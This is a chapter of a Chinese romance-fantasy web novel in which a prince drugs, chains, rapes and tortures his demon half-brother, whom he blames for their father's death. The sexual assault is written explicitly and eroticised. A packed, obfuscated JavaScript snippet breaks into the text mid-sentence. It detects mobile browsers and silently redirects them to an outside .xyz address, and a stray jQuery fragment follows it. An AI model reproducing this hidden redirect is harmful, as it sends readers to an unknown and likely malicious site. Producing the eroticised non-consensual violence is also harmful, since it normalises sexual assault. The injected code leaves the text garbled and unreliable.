“不愧是妖物,果然性淫,光天化日之下也能如此情状。”看着人难耐地蜷起身子,萧凌晏双眸立时变得晦暗深沉。明明已□□焚身,却还在那儿强装镇定地质问他究竟给他喂了什么东西,实在可笑。
他伸手拨开对方垂落胸前的长发,随手掐了一把,这人故作平稳的声线便立刻变了调,颤得不成样,身躯也蜷得更紧,似想遮掩身上异样,可不着寸缕的身躯压根儿什么也藏不住。如此模样,倒比昨夜殿内那血淋淋的场景更勾人,就连这副躯壳比昨夜亵玩的那具瘦骨嶙峋的身躯要顺眼得多,虽瞧着仍显单薄,好歹皮骨之间多了层薄薄肌理,不再那副枯槁消瘦,像是稍一用力便会从中断成两截的死相,叫人折腾起来也能更加放肆无忌。
他不顾对方挣扎,重重丢在榻上,趁其被摔得头晕目眩,一时找不着北,又拾起床头提前备好的镣铐,一左一右,咔哒叩在他腕上。
凡铁困不住妖物,但眼前这只已被他那铜钱红绳牢牢束缚,手段尽失,无论之前有多神通广大,此时也不过凡人之躯,岂能挣脱钢铁镣铐?
萧珺用力挣动,可锁链比成人手腕还粗,直至力竭,也不过徒令其哗哗作响。他不由暴躁:“解开!”
萧凌晏眼疾手快避开他扫来的腿,顺势扣住脚踝,将这条不安分的腿也锁了起来,另一条则牢牢制在掌心,叫其挣脱不得,“解开?你关了我三年,我凭什么放你?”
萧珺只得瞪着他:“非要做到这份上?”他再如何麻痹自己这人是因服了那躁虫胚才如此出格,也依旧气得心尖直颤。
萧凌晏检查完萧珺身上三道锁,确认都完好无缺,这才施施然抬眸,打量着眼前这张冰冷漠然,却又被药物激起的情欲软化了大半的面孔,接着目光缓缓下移,直把人看得毛骨悚然,羞愤欲死,才漫不经心探出指头:“你这不是挺喜欢的吗?都馋成这样了。”
他想他寻到了能令这人更难受痛苦的玩法,既然性子如此刚烈,如何酷刑折磨,也能咬牙忍耐,不若破其心防,叫他无地自容。
这一招果然见效,萧珺眼中瞬间腾起惊怒,想来这种陌生古怪的感觉比头一回时那种撕心裂肺的痛更叫他无所适从,锁链哗哗作响,眼瞧他又想踹人,萧凌晏嗤笑一声,猛地掐了一把掌中细长小腿,烙下数道青紫指痕,“事到如今还装什么?此等秽事,不正是你梦寐以求?昨夜你其实一直在暗爽吧?”
萧珺面色愈发难看,他已强迫自己忘记昨夜的剧痛屈辱,对方此时提起却不可避免地让那场混乱再次充斥他脑海,叫他再度如坠冰窟。
“呵,摆着一张冷脸给谁看?”萧凌晏俯身凑近,眸光愈发暗沉:“你对我什么心思,真以为我不知道?”
萧珺心头一突,浑身僵住。
他眼中闪过无措。知道……什么?知道了他暗藏心底的这段背德不伦的情意?
他面上掩饰得好,可骤然紧绷的身躯却一五一十地将他此时慌乱告知施暴者。
萧凌晏心头更冷,慌成这样,看来是被他说中了啊。典籍中的记载果然不错,妖物接近人类,尤其是皇族,所图无非人精龙气,故而才有无数精怪想方设法潜入宫廷,他这所谓兄长,与那恶鬼没什么两样,图谋的皆是他身上龙气,无非是这人手段更高明,花了十几年攻心,又欲擒故纵,摆出一副禁欲样,叫他欲念横生,自甘堕落;连野心也更胜那恶鬼,吞食龙气仍嫌不够,还得享受一下龙椅的滋味。
对上萧凌晏忌惮厌恶的目光,萧珺瞬间有种被扒光皮在烈日下曝晒的窒息感。
他过往时常恐惧担忧,怕这种不为世间所容的肮脏心思为对方所知,怕连兄弟都做不成,今时今日,深藏数年的情意被贸然点破,而对方态度,也正如他昔日最坏的设想。
他再无法自欺欺人,说萧凌晏是吃错了药才这般待他了。
他再度挣扎,即便是断一条胳膊,断一条腿,他也不想再留在这个令他羞愧难当的地方。
“既然想要,何必装出一副贞烈样?”萧凌晏手上稍稍用力,这具身躯便打着颤迎了上来,“瞧,这才是你们妖物本来的德行,淫=浪不堪。”
萧珺控制不了身体的本能反应,心头屈辱反叫这副躯壳更不堪撩拨。真心被人骤然剥开,又如此轻贱,他难堪至极,恨不能当场暴毙,再不济能消失也好,可距他的死期尚余时日,连逃离都是奢望,此时此刻,他只得被迫展开于人前,受尽对方轻慢目光的凌迟。
他心里难受,脸上却更要刻意伪装不在乎:“……既是厌憎,又何必委屈自己行这等秽事。”
“话是如此,你这副皮相倒还有些可取之处,”萧凌晏眯起眼睛,低头轻佻地在人颈侧烙下连串吻痕,“我没那么挑,送上门的东西,不玩够本实在浪费。”
萧珺面无表情望着他:“同杀父仇人媾和,你爹在天之灵,如何看你?”
萧凌晏动作微顿,啄吻很快变成啃咬,将这段苍白纤长的脖颈弄得血迹斑斑,一片狼藉。发泄够了他才抬眸死死盯着萧珺的眼睛,冷声道:“你根本杀不了他。”
他也是昨夜回宫后翻阅典籍才发觉端倪。君王龙气在身,凡妖魔鬼怪中妄图加害者,皆受天谴缠身,轻则道行尽毁,重则魂飞魄散。
萧珺既还能这般活蹦乱跳,足以证明他并非直接下手之人,但这并不表明他是无辜的。相反,能以妖物之躯夺得皇位,中间必少不了真凶助力,虽非罪魁祸首,却也必是真凶同谋。事后又一力抗下罪名,死活不愿向他坦白父皇尸首所在,如此包庇,足以证明真凶与他关系密切。
此事不提倒罢,提了他便忍不住想,能被萧珺这么包庇,这么保护的人会是谁?
放在以前,这个人选只有他,可而今已证明过去那些关心爱护都是假的,他所图不过他身上龙气,从无真情。他心里装着的,大抵从始至终只有那个藏在他背后的真凶。
萧凌晏勾唇微笑,眼底却寒霜密布:“无论你如何袒护真凶,我都会把人找出来。”
他抽出手指,再度抚上身下人被红绳缠绕着的腰,勾着细绳一寸一寸勒紧皮肉,感受着对方因剧痛而控制不住的战栗,“然后当着他的面这般羞辱你,接着又在你面前把他剁得粉碎。”
他垂首吻上身下人因痛楚而血色尽失的唇,说是亲吻,更似撕咬。他绝不允许他的玩物对另一个人如此关照,愤怒与不甘催促着他将这狡猾无情的妖物吞吃入腹,占为己有。
他刚尝到他口中浓郁的桃香,舌尖便立刻被狠狠咬了一口,血腥味在两人唇舌间弥漫开,压过那甜滋滋的味道。
他撩起眼皮,对上萧珺阴冷的眸,也不知这人是在恼他此时的亲吻,还是恼他方才的威胁,无论哪个,都令他怒火中烧。他素来睚眦必报,当即狠狠咬了回去,在对方唇瓣上留下极深牙印。
但对方同样牙尖嘴利,一口啃在他上唇,许是咬掉一小块肉,痛得钻心。
“敢咬我?”他凶狠瞪着萧珺冷若冰霜的脸,这棵破桃树不结果,也不长叶,连花都没开过,占据他家御花园的地这么久,只跟着蚊虫蚁兽学会了咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522717|186286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,真是不识抬举。
他死死掐在对方小腿上的手掌忽然上移,卡住膝弯,整个人顺势压了上去。下一瞬,锁链再度哗啦作响。
他的施暴毫无章法,全在泄愤,但随手喂进的药物早已令这副身躯温软多情,再怎么粗鲁,都能从中得趣。即便萧珺面上依旧写满抗拒,冷冽的眼睛却还是在席卷而来的情欲作用下化成一汪毫无威力的春水,纵牙关紧咬,依旧泄出几声压抑不住的低喘。
“啧,”萧凌晏听得骤然火起,咬着对方仰起脖颈上艰难滑滚颤动着的喉结,力道加重,从人喉间挤出短促痛哼,“你那同伙,也这么弄过你吧?你是不是就是这样求他帮你抢来皇位的?”
他问得轻慢,心里却又妒又恨,妒那个真凶,恨眼前人。他现在知了,他从不是那个唯一,这人对着他装出的那副温柔模样对着别人也有过,这令他恨得发狂,酸得变形。
他不停地想,在他之前有没有人碰过他?他梦里同他缠绵时,他是否正在别人怀里这般?如此抗拒他,难不成是想为别人守身如玉?
一想到这些可能,他就恨不得钻进这人的心,将多余的,错误的,伪装的全部割下丢出去,只留他一个,即便没给他留过位置,他也要生生割一个供他容身的窟窿出来。他从来自私,他可以对这人没有情意,但他见不得对方心里没有他。
萧珺目光涣散,望着头顶帷帐,视野被泪意模糊,朦胧不清,瞧不见这张令人伤心欲绝的脸,可惜传入耳畔的声音还是那般清楚,一遍一遍提醒他自己这是在做什么,又是在同谁做。
五脏六腑都仿佛被搅开,本应痛苦无比的事,却又莫名其妙滋生出古怪麻痒,迅速累积成陌生快意。他不受控制地挺起腰身,捆在腰肢上的红绳受到牵扯,登时却如劈在树身的利斧,剧痛令他浑身瘫软,却也因祸得福,让他从那种几乎失控的迷离快感中醒转,然而好景不长,身上人连绵不绝的羞辱很快又将他打入深渊。
他不知这种煎熬要持续多久,耳畔锁链接连不断的哗啦声如贯耳魔音,一点一点击溃他的心防。
这人在问什么?同伙?何来同伙……那不过是一个被绝望憎恨束缚在死亡地,久久不愿转世投胎的母亲,恳求唯一的孩子助她复仇罢了。他忽理解了母亲的告诫,为何不允他暴露非人身份。于人族而言,非我族类,其心必异,先帝因此诛杀母亲,他疼爱多年的弟弟,也因此厌他尤深。
近午时,持续许久的锁链声才终于止息。彻夜未眠,清晨酗酒,方才又白日宣淫,如此种种,终于令萧凌晏生出些困意。但他还暂时不能睡,今日是母后回来的日子,得亲自去迎她。
他理好衣物,站起身来,临走前回头望了眼榻上人。他还醒着,带着满身狼藉,又镣铐加身,只能静静平躺着,望着头顶帷帐。这副情状已持续了好一阵,如何弄他,他都这副静得出奇,仿佛已灵魂出窍的模样。
“萧凌晏。”
刚往外走了几步,身后人突然出声。他心里不大舒坦,这人从不曾这般连名带姓唤过他。
“怎么?”他再次驻步回望,榻上人的目光从头顶帷帐转移到他脸上。
“我不可能放你的。”萧凌晏冷淡道:“除非哪天彻底玩腻了你。”
“……我想喝水。”
萧凌晏一愣,萧珺的声音虽然沙哑,却出乎意料的平静,没有预想中的愤怒斥骂,像真的只是口渴了,想要喝水。
他瞥了眼对方泛白干涸的唇,犹豫片刻,还是倒了一杯水,默不作声递到他唇边。